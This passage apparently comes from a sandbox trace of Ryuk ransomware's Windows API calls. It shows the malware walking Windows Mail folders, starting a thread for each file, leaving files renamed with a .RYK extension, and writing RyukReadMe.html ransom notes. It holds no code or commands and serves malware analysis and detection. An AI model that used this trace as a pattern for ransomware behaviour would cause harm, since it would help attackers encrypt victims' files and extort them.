	[0267.980] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2ab7545, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x206000, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0267.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0267.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c
	[0267.983] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.983] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0267.983] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0267.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0
	[0267.985] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.986] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
	[0267.986] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0267.988] SetLastError (dwErrCode=0x0) 
	[0267.988] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\old\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994
	[0267.990] GetLastError () returned 0x0
	[0267.990] WriteFile (in: hFile=0x994, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0268.224] CloseHandle (hObject=0x994) returned 1
	[0268.585] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5cea1c30, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5cea1c30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5cea1c30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0268.585] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5cea1c30, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5cea1c30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5cea1c30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0268.585] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0268.585] SetLastError (dwErrCode=0x0) 
	[0268.585] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990
	[0268.586] GetLastError () returned 0xb7
	[0268.586] CloseHandle (hObject=0x990) returned 1
	[0268.586] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5d8736f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x2122, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="edb.chk.RYK", cAlternateFileName="EDBCHK~1.RYK")) returned 1
	[0268.586] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0268.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990
	[0268.791] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.792] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x648a03b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x200122, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="edb.log.RYK", cAlternateFileName="EDBLOG~1.RYK")) returned 1
	[0268.792] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0268.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4
	[0268.795] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.796] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x648ec670, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x200122, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="edb00001.log.RYK", cAlternateFileName="EDB000~1.RYK")) returned 1
	[0268.796] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0268.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994
	[0268.798] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.798] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x652e4290, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x200122, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="edbres00001.jrs.RYK", cAlternateFileName="EDBRES~1.RYK")) returned 1
	[0268.799] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0268.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b0
	[0268.801] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.802] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x652e4290, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x200122, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="edbres00002.jrs.RYK", cAlternateFileName="EDBRES~2.RYK")) returned 1
	[0268.802] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0268.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4
	[0268.804] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.805] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5d684510, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="oeold.xml.RYK", cAlternateFileName="OEOLDX~1.RYK")) returned 1
	[0268.805] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0268.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8
	[0268.807] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.808] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ce55970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5ce55970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5cea1c30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0268.808] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0268.808] SetLastError (dwErrCode=0x0) 
	[0268.808] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9bc
	[0268.809] GetLastError () returned 0xb7
	[0268.809] CloseHandle (hObject=0x9bc) returned 1
	[0268.809] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0268.809] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0268.810] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5d638250, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0268.810] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0268.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0
	[0268.812] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.813] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5e186ad0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x552, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
	[0268.813] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0268.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c4
	[0268.815] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.816] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
	[0268.816] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5d9a41f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x202, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
	[0268.816] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0268.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8
	[0268.819] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.819] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5e186ad0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5e52, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
	[0268.819] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0268.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc
	[0268.822] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.823] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="GREENB~1.HTM")) returned 1
	[0268.823] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0268.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d0
	[0269.211] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.214] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="GREENB~1.JPG")) returned 1
	[0269.214] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d8
	[0269.222] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.222] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="HANDPR~1.HTM")) returned 1
	[0269.222] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9dc
	[0269.231] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.231] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="HANDPR~1.JPG")) returned 1
	[0269.232] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e0
	[0269.239] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.240] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="ORANGE~1.HTM")) returned 1
	[0269.240] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4
	[0269.248] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.248] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="ORANGE~1.JPG")) returned 1
	[0269.248] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8
	[0269.256] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.257] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x629622f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x202, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1
	[0269.257] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
